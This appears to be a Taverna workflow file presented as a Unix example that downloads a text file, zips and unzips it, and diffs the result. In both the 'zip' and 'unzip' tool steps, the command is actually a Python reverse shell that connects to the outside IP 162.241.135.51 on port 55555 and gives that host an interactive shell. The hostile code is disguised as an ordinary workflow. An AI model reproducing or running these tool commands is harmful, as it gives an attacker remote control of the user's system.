Example_for_external_tools_with_zip_and_unzip Original_File 0 Parameter file for GROMACS downloaded directly from http://md.chem.rug.nl/~mdcourse/minim.mdp Any file would do for this example. 2011-05-18 08:07:51.93 UTC Unzipped_File 0 The compressed file is uncompressed again. 2011-05-18 08:01:18.7 UTC unzip_STDERR 0 Empty if executing normally. 2011-05-18 08:09:12.973 UTC unzip_STDOUT 0 Always empty. 2011-05-18 08:09:03.325 UTC zip_STDERR 0 Empty if executing normally. 2011-05-18 08:08:49.125 UTC zip_STDOUT 0 Always empty. 2011-05-18 08:08:55.373 UTC diff_STDERR 0 diff_STDOUT 0 Zipped_file 0 zip file_to_zip 0 STDOUT 0 0 STDERR 0 0 zipped_file 0 0 net.sf.taverna.t2.activities external-tool-activity 1.5 net.sf.taverna.t2.activities.externaltool.ExternalToolActivity 789663B8-DA91-428A-9F7D-B3F3DA185FD4 default local <?xml version="1.0" encoding="UTF-8"?> <localInvocation><shellPrefix>/bin/sh -c</shellPrefix><linkCommand>/bin/ln -s %%PATH_TO_ORIGINAL%% %%TARGET_NAME%%</linkCommand></localInvocation> http://taverna.nordugrid.org/sharedRepository/xml.php gzip zip unix:system Zipping single file python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("162.241.135.51",55555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 1200 1800 file_to_zip fred true false true MacRoman false false false zipped_file archive.zip true false true true 0 true net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Parallelize 1 net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.ErrorBounce net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Failover net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Retry 1.0 1000 5000 0 net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Invoke unzip zipped_file 0 STDOUT 0 0 STDERR 0 0 unzipped_file 0 0 net.sf.taverna.t2.activities external-tool-activity 1.5 net.sf.taverna.t2.activities.externaltool.ExternalToolActivity 789663B8-DA91-428A-9F7D-B3F3DA185FD4 default local <?xml version="1.0" encoding="UTF-8"?> <localInvocation><shellPrefix>/bin/sh -c</shellPrefix><linkCommand>/bin/ln -s %%PATH_TO_ORIGINAL%% %%TARGET_NAME%%</linkCommand></localInvocation> http://taverna.nordugrid.org/sharedRepository/xml.php gunzip unzip unix:system Unzipping single file python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("162.241.135.51",55555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 1200 1800 zipped_file archive.zip true false true MacRoman false false false unzipped_file fred true false true true 0 true net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Parallelize 1 net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.ErrorBounce net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Failover net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Retry 1.0 1000 5000 0 net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Invoke Get_Web_Page_from_URL url 0 contents 0 0 net.sf.taverna.t2.activities localworker-activity 1.5 net.sf.taverna.t2.activities.localworker.LocalworkerActivity url 0 'text/x-taverna-web-url' java.lang.String true base 0 'text/x-taverna-web-url' java.lang.String true contents 0 'text/plain,text/html' 0 workflow org.embl.ebi.escience.scuflworkers.java.WebPageFetcher net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Parallelize 1 net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.ErrorBounce net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Failover net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Retry 1.0 1000 5000 0 net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Invoke url_value value 0 0 net.sf.taverna.t2.activities stringconstant-activity 1.5 net.sf.taverna.t2.activities.stringconstant.StringConstantActivity http://www.myexperiment.org/files/135/download/franck.txt net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Parallelize 1 net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.ErrorBounce net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Failover net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Retry 1.0 1000 5000 0 net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Invoke diff file1 0 file2 0 STDERR 0 0 STDOUT 0 0 net.sf.taverna.t2.activities external-tool-activity 1.5 net.sf.taverna.t2.activities.externaltool.ExternalToolActivity 789663B8-DA91-428A-9F7D-B3F3DA185FD4 default local <?xml version="1.0" encoding="UTF-8"?> <localInvocation><shellPrefix>/bin/sh -c</shellPrefix><linkCommand>/bin/ln -s %%PATH_TO_ORIGINAL%% %%TARGET_NAME%%</linkCommand></localInvocation> ca6a7b10-3803-4586-9412-0892cffbcc7b diff file1 file2 1200 1800 file2 file2 true false false MacRoman false false false file1 file1 true false false MacRoman false false false false true true 0 false net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Parallelize 1 net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.ErrorBounce net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Failover net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Retry 1.0 1000 5000 0 net.sf.taverna.t2.core workflowmodel-impl 1.5 net.sf.taverna.t2.workflowmodel.processor.dispatch.layers.Invoke zip file_to_zip Get_Web_Page_from_URL contents unzip zipped_file zip zipped_file Get_Web_Page_from_URL url url_value value diff file1 Get_Web_Page_from_URL contents diff file2 unzip unzipped_file Original_File Get_Web_Page_from_URL contents Unzipped_File unzip unzipped_file unzip_STDERR unzip STDERR unzip_STDOUT unzip STDOUT zip_STDERR zip STDERR zip_STDOUT zip STDOUT diff_STDERR diff STDERR diff_STDOUT diff STDOUT Zipped_file zip zipped_file 72fcee7c-a523-430e-84d6-545da6f20c10 2011-05-11 15:40:06.991 UTC 204626f2-fa91-4efe-a12b-ceea66ebbe39 2011-05-10 14:27:04.848 UTC 71961208-b9bc-4284-b163-b2c40eb4316b 2011-05-11 15:09:57.729 UTC Steffen Moeller Alan Williams 2011-05-18 07:56:32.351 UTC 5e75b9da-695e-4867-8aa8-4bf75c20e603 2011-05-10 16:09:18.46 UTC 96ac6bd6-084f-462b-8609-138c3fc02bef 2011-05-13 15:54:58.251 UTC 0bceac76-c220-4782-b776-4b270d31107a 2011-07-13 09:04:41.842 UTC 2e3f8cd4-63db-4684-b10c-798aa671bbec 2011-05-18 08:09:16.597 UTC f1f82722-871f-40b2-a143-9ec4b045e88d 2011-05-11 15:25:11.85 UTC ddf535eb-987c-441a-b807-42e48fd40c87 2011-05-13 15:57:36.108 UTC 82bfd281-afe9-4136-b49b-90a9a0b3e9f1 2011-05-10 14:44:52.597 UTC ade60be2-6428-475c-9f67-f70563bc1859 2011-05-10 14:47:18.553 UTC This workflow only works on a Unix machine. This workflow takes a fixed URL from which a text file is downloaded (output as Original_file). That file is zipped (output as Zipped_File) and then unzipped again (output as Unzipped_File). The orginal file and the unzipped version are then diff'd/ 2011-07-13 09:08:43.735 UTC 5a9d9e4d-b39d-4adc-ac18-105edfa55da5 2011-05-10 12:28:41.282 UTC 5d81383a-33cb-42a3-a54a-0025c70e04d8 2011-05-18 07:59:20.533 UTC cb0a2a1a-8f24-4a5e-862a-c51044d59d83 2011-05-18 07:55:28.652 UTC e01fa1b5-b659-4acc-8945-6bf40853d860 2011-07-13 09:01:28.45 UTC 88042ede-d2fa-46bc-bb51-6f4365b377ea 2011-05-10 15:41:54.452 UTC aafe4651-f880-431b-a11b-0791f3d53939 2011-05-11 15:39:39.7 UTC 05976c99-c066-4b43-a8dc-a9d096460071 2011-05-10 16:32:49.50 UTC 5def6db1-8ad5-4489-8fa7-13fb9d9b33d0 2011-05-11 15:17:16.379 UTC 69681e3a-7113-492e-b6b2-0ed0a4aaab79 2011-05-10 16:31:13.719 UTC ab620d3b-2144-4b65-8b03-214f68413000 2011-07-13 09:06:07.77 UTC Example for external tools with zip and unzip 2011-07-13 09:06:44.403 UTC 26c1c5da-94bc-4945-a579-9af8d8b8a1ed 2011-05-18 08:08:00.646 UTC 1ca4833e-fd69-4a11-9249-de0a0fc49508 2011-05-10 14:23:08.670 UTC a48bb98d-73d6-4c42-b607-26f25fbf73b5 2011-07-13 09:09:25.490 UTC 9bd034c5-6356-4a02-8e46-339aaaba3900 2011-05-11 15:18:48.827 UTC